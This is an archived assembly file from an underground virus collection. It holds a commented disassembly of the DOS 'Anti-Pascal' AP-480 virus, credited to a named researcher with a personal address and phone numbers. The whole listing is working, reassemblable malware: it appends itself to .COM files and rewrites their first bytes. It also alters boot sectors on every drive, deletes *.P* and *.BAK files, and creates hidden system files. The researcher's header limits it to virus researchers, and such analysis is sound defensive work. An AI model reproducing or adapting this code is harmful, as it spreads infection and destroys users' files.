home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / ap-480.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.5 KB  |  316 lines

  1.     page    ,132
  2.  
  3.     name    AP480
  4.  
  5.     title    The 'Anti-Pascal' virus, version AP-480
  6.  
  7.     .radix    16
  8.  
  9.  
  10.  
  11. ; ╔══════════════════════════════════════════════════════════════════════════╗
  12.  
  13. ; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
  14.  
  15. ; ║  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255         ║
  16.  
  17. ; ║                                         ║
  18.  
  19. ; ║               The 'Anti-Pascal' Virus, version AP-480               ║
  20.  
  21. ; ║            Disassembled by Vesselin Bontchev, June 1990         ║
  22.  
  23. ; ║                                         ║
  24.  
  25. ; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
  26.  
  27. ; ║                                         ║
  28.  
  29. ; ║     This listing is only to be made available to virus researchers      ║
  30.  
  31. ; ║           or software writers on a need-to-know basis.          ║
  32.  
  33. ; ╚══════════════════════════════════════════════════════════════════════════╝
  34.  
  35.  
  36.  
  37. ; The disassembly has been tested by re-assembly using MASM 5.0.
  38.  
  39.  
  40.  
  41. code    segment
  42.  
  43.     assume    cs:code, ds:code
  44.  
  45.  
  46.  
  47.     org    100
  48.  
  49.  
  50.  
  51. v_const =    2042d
  52.  
  53.  
  54.  
  55. start:
  56.  
  57.     jmp    v_entry
  58.  
  59.     db    0CA        ; Virus signature
  60.  
  61.  
  62.  
  63.     db    (2048d - 9) dup (90)
  64.  
  65.  
  66.  
  67.     mov    ax,4C00
  68.  
  69.     int    21
  70.  
  71.  
  72.  
  73. v_start label    byte
  74.  
  75. first4    db    0E9, 0F8, 7, 90
  76.  
  77. allcom    db    '*.COM', 0
  78.  
  79.  
  80.  
  81. mydta    label    byte
  82.  
  83. reserve db    15 dup (?)
  84.  
  85. attrib    db    ?
  86.  
  87. time    dw    ?
  88.  
  89. date    dw    ?
  90.  
  91. fsize    dd    ?
  92.  
  93. namez    db    14d dup (?)
  94.  
  95.  
  96.  
  97. allp    db    0, '????????P??'
  98.  
  99. allbak    db    0, '????????BAK'
  100.  
  101. maxdrv    db    ?
  102.  
  103.  
  104.  
  105. v_entry:
  106.  
  107.     push    ax        ; Save AX & DX
  108.  
  109.     push    dx
  110.  
  111.  
  112.  
  113.     mov    ah,19        ; Get the default drive
  114.  
  115.     int    21
  116.  
  117.     push    ax        ; Save it on stack
  118.  
  119.     mov    ah,0E        ; Set it as default (?!)
  120.  
  121.     mov    dl,al
  122.  
  123.     int    21        ; Do it
  124.  
  125.  
  126.  
  127.     call    self        ; Determine the virus' start address
  128.  
  129. self:
  130.  
  131.     pop    si
  132.  
  133.     sub    si,offset self-v_const
  134.  
  135.  
  136.  
  137. ; Save the number of logical drives in the system:
  138.  
  139.  
  140.  
  141.     mov    byte ptr [si+offset maxdrv-v_const],al
  142.  
  143.  
  144.  
  145. ; Restore the first 4 bytes of the infected program:
  146.  
  147.  
  148.  
  149.     mov    ax,[si+offset first4-v_const]
  150.  
  151.     mov    word ptr ds:[offset start],ax
  152.  
  153.     mov    ax,[si+offset first4+2-v_const]
  154.  
  155.     mov    word ptr ds:[offset start+2],ax
  156.  
  157.  
  158.  
  159.     mov    ah,1A        ; Set new DTA
  160.  
  161.     lea    dx,[si+offset mydta-v_const]
  162.  
  163.     int    21        ; Do it
  164.  
  165.  
  166.  
  167.     pop    ax        ; Restore current drive in AL
  168.  
  169.     push    ax        ; Keep it on stack
  170.  
  171.  
  172.  
  173.     call    inf_drive    ; Proceed with the current drive
  174.  
  175.  
  176.  
  177.     xor    al,al        ; For all logical drives in the system
  178.  
  179. drv_lp:
  180.  
  181.     call    inf_drive    ; Proceed with drive
  182.  
  183.     jbe    drv_lp        ; Loop until no more drives
  184.  
  185.  
  186.  
  187.     pop    ax        ; Restore the saved current drive
  188.  
  189.     mov    ah,0E        ; Set it as current drive
  190.  
  191.     mov    dl,al
  192.  
  193.     int    21        ; Do it
  194.  
  195.  
  196.  
  197.     mov    dx,80        ; Restore original DTA
  198.  
  199.     mov    ah,1A
  200.  
  201.     int    21        ; Do it
  202.  
  203.  
  204.  
  205.     mov    si,offset start
  206.  
  207.     pop    dx        ; Restore DX & AX
  208.  
  209.     pop    ax
  210.  
  211.     jmp    si        ; Run the original program
  212.  
  213.  
  214.  
  215. inf_drive:
  216.  
  217.     push    ax        ; Save the selected drive number on stack
  218.  
  219.     mov    ah,0E        ; Select that drive
  220.  
  221.     mov    dl,al
  222.  
  223.     int    21        ; Do ti
  224.  
  225.     pop    ax        ; Restore AX
  226.  
  227.  
  228.  
  229.     push    ax        ; Save the registers used
  230.  
  231.     push    bx
  232.  
  233.     push    cx
  234.  
  235.     push    si        ; Save SI
  236.  
  237.  
  238.  
  239.     mov    cx,1        ; Read the boot sector of the drive specified
  240.  
  241.     xor    dx,dx
  242.  
  243.     lea    bx,[si+offset v_end-v_const]
  244.  
  245.     push    ax        ; Save AX
  246.  
  247.     push    bx        ; Save BX, CX & DX also
  248.  
  249.     push    cx
  250.  
  251.     push    dx
  252.  
  253.     int    25        ; Do read
  254.  
  255.     pop    dx        ; Clear the stack
  256.  
  257.     pop    dx        ; Restore saved DX, CX & BX
  258.  
  259.     pop    cx
  260.  
  261.     pop    bx
  262.  
  263.     jc    bad_drv     ; Exit on error
  264.  
  265.  
  266.  
  267.     inc    byte ptr [bx]    ; Increment the first byte (?!)
  268.  
  269.     cmp    byte ptr [bx+1],6F    ; Second byte == 111 (?!)
  270.  
  271.     jne    wr_drive    ; Write the new values if not
  272.  
  273.  
  274.  
  275. bad_drv:
  276.  
  277.     pop    ax        ; Restore AX
  278.  
  279.     pop    si        ; Restore SI
  280.  
  281. drv_xit:
  282.  
  283.     pop    cx        ; Restore used registers
  284.  
  285.     pop    bx
  286.  
  287.     pop    ax
  288.  
  289.  
  290.  
  291.     inc    al        ; Go to next drive number
  292.  
  293.     cmp    al,[si+offset maxdrv-v_const]    ; See if there are more drives
  294.  
  295.     ret            ; Exit
  296.  
  297.  
  298.  
  299. wr_drive:
  300.  
  301.     pop    ax        ; Restore drive number in AL
  302.  
  303.     int    26        ; Do write
  304.  
  305.     pop    ax        ; Clear the stack
  306.  
  307.     pop    si        ; Restore Si
  308.  
  309.     jc    drv_xit     ; Exit on error
  310.  
  311.  
  312.  
  313. ; Find first COM file on the current directory of the selected drive:
  314.  
  315.  
  316.  
  317.     mov    ah,4E
  318.  
  319.     xor    cx,cx        ; Normal files only
  320.  
  321.     lea    dx,[si+offset allcom-v_const]    ; File mask
  322.  
  323. next:
  324.  
  325.     int    21        ; Do find
  326.  
  327.     jc    no_more     ; Quit search if no more such files
  328.  
  329.     lea    dx,[si+offset namez-v_const]    ; Get file name found
  330.  
  331.     call    infect        ; Infect that file
  332.  
  333.     mov    ah,4F        ; Prepare for FindNext
  334.  
  335.     jc    next        ; If infection not successful, go to next file
  336.  
  337.     jmp    drv_xit     ; Otherwise quit
  338.  
  339.  
  340.  
  341. no_more:
  342.  
  343.     lea    di,[si+offset v_end-v_const]
  344.  
  345.     cmp    byte ptr [di],80
  346.  
  347.     jb    drv_xit
  348.  
  349.  
  350.  
  351. ; Form the current directory path at v_end:
  352.  
  353.  
  354.  
  355.     mov    al,'\'          ; '\' for the root
  356.  
  357.     stosb            ; Put that character
  358.  
  359.     xchg    si,di        ; Save DI
  360.  
  361.  
  362.  
  363.     mov    ah,47        ; Get current directory
  364.  
  365.     xor    dl,dl        ;  of the default drive and put it there too
  366.  
  367.     int    21        ; Do it
  368.  
  369.  
  370.  
  371.     xchg    si,di        ; Restore DI
  372.  
  373.     xor    al,al        ; Go to the end of paht (?!)
  374.  
  375.     mov    cx,64d
  376.  
  377.     repne    scasb        ; Do it
  378.  
  379.     dec    di        ; Go to the previous byte
  380.  
  381.  
  382.  
  383.     mov    ah,13        ; Delete all *.P* files in that dir
  384.  
  385.     lea    dx,[si+offset allp-v_const]
  386.  
  387.     int    21        ; Do it
  388.  
  389.     cmp    al,-1
  390.  
  391.     je    drv_xit     ; Exit on error
  392.  
  393.  
  394.  
  395.     mov    ah,13        ; Delete all *.BAK files too
  396.  
  397.     lea    dx,[si+offset allbak-v_const]
  398.  
  399.     int    21        ; Do it
  400.  
  401.  
  402.  
  403.     mov    cx,20d        ; Create 20 temporary files (?!)
  404.  
  405.     mov    ah,5A
  406.  
  407.     lea    dx,[si+offset v_end-v_const]
  408.  
  409.  
  410.  
  411. creat_lp:
  412.  
  413.     push    cx        ; Save registers used
  414.  
  415.     push    ax
  416.  
  417.     push    dx
  418.  
  419.     mov    byte ptr [di],0
  420.  
  421.     mov    cx,7        ; With ReadOnly, Hidden and System attributes
  422.  
  423.     int    21        ; Do it
  424.  
  425.  
  426.  
  427.     pop    dx        ; Save used registers
  428.  
  429.     pop    ax
  430.  
  431.     pop    cx
  432.  
  433.     loop    creat_lp    ; Loop until done
  434.  
  435.  
  436.  
  437.     jmp    drv_xit     ; Done. Exit
  438.  
  439.  
  440.  
  441. namaddr dw    ?        ; Address of the file name buffer
  442.  
  443.  
  444.  
  445. infect:
  446.  
  447.     mov    [si+offset namaddr-v_const],dx    ; Save file name address
  448.  
  449.  
  450.  
  451.     mov    ax,4301     ; Reset all file attributes
  452.  
  453.     xor    cx,cx
  454.  
  455.     int    21        ; Do it
  456.  
  457.     jnc    inf_cont    ; Continue if all OK
  458.  
  459. inf_xit:
  460.  
  461.     ret            ; Otherwise exit
  462.  
  463.  
  464.  
  465. inf_cont:
  466.  
  467.     mov    ax,3D02     ; Open file for both reading and writing
  468.  
  469.     int    21
  470.  
  471.     jc    inf_xit     ; Exit on arror
  472.  
  473.     mov    bx,ax        ; Save file handle in BX
  474.  
  475.  
  476.  
  477.     mov    cx,4        ; Read the first 4 bytes of the file
  478.  
  479.     mov    ah,3F
  480.  
  481.     lea    di,[si+offset first4-v_const]    ; Save them in first4
  482.  
  483.     mov    dx,di
  484.  
  485.     int    21        ; Do it
  486.  
  487.     jc    quit        ; Exit on error
  488.  
  489.  
  490.  
  491.     cmp    byte ptr [di+3],0CA    ; File already infected?
  492.  
  493.     stc            ; Set CF to indicate it
  494.  
  495.     jz    quit        ; Don't touch this file if so
  496.  
  497.  
  498.  
  499.     mov    cx,[si+offset fsize-v_const]
  500.  
  501.     cmp    cx,2048d    ; Check if file size >= 2048 bytes
  502.  
  503.     jb    quit        ; Exit if not
  504.  
  505.     cmp    cx,64000d    ; Check if file size <= 64000 bytes
  506.  
  507.     stc            ; Set CF to indicate it
  508.  
  509.     ja    quit        ; Exit if not
  510.  
  511.  
  512.  
  513.     xor    cx,cx        ; Seek to file end
  514.  
  515.     xor    dx,dx
  516.  
  517.     mov    ax,4202
  518.  
  519.     int    21        ; Do it
  520.  
  521.     push    ax        ; Save file size on stack
  522.  
  523.     jc    quit        ; Exit on error
  524.  
  525.  
  526.  
  527. ; Write the virus body after the end of file:
  528.  
  529.  
  530.  
  531.     mov    cx,v_end-v_start
  532.  
  533.     nop
  534.  
  535.     lea    dx,[si+offset v_start-v_const]
  536.  
  537.     mov    ah,40
  538.  
  539.     int    21        ; Do it
  540.  
  541.     jc    quit        ; Exit on error
  542.  
  543.     pop    ax        ; Restore file size in AX
  544.  
  545.  
  546.  
  547. ; Form a new address for the first JMP instruction in AX:
  548.  
  549.  
  550.  
  551.     add    ax,v_entry-v_start-3
  552.  
  553.     mov    byte ptr [di],0E9    ; JMP opcode
  554.  
  555.     mov    [di+1],ax
  556.  
  557.     mov    byte ptr [di+3],0CA    ; Set the "file infected" sign
  558.  
  559.  
  560.  
  561.     xor    cx,cx        ; Seek to file beginning
  562.  
  563.     xor    dx,dx
  564.  
  565.     mov    ax,4200
  566.  
  567.     int    21        ; Do it
  568.  
  569.     jc    quit        ; Exit on error
  570.  
  571.  
  572.  
  573.     mov    cx,4        ; Write the new first 4 bytes of the file
  574.  
  575.     mov    dx,di
  576.  
  577.     mov    ah,40
  578.  
  579.     int    21        ; Do it
  580.  
  581.  
  582.  
  583. quit:
  584.  
  585.     pushf            ; Save flags
  586.  
  587.  
  588.  
  589.     mov    ax,5701     ; Set file date & time
  590.  
  591.     mov    cx,[si+offset time-v_const]    ; Get time from mydta
  592.  
  593.     mov    dx,[si+offset date-v_const]    ; Get date from mydta
  594.  
  595.     int    21        ; Do it
  596.  
  597.  
  598.  
  599.     mov    ah,3E        ; Close the file
  600.  
  601.     int    21
  602.  
  603.  
  604.  
  605.     mov    ax,4301     ; Set file attributes
  606.  
  607.     mov    cl,[si+offset attrib-v_const]    ; Get them from mydta
  608.  
  609.     xor    ch,ch
  610.  
  611.     mov    dx,[si+offset namaddr-v_const]    ; Point to file name
  612.  
  613.     int    21        ; Do it
  614.  
  615.  
  616.  
  617.     popf            ; Restore flags
  618.  
  619.     ret
  620.  
  621.  
  622.  
  623. v_end    equ    $
  624.  
  625.  
  626.  
  627. code    ends
  628.  
  629.     end    start
  630.  
  631.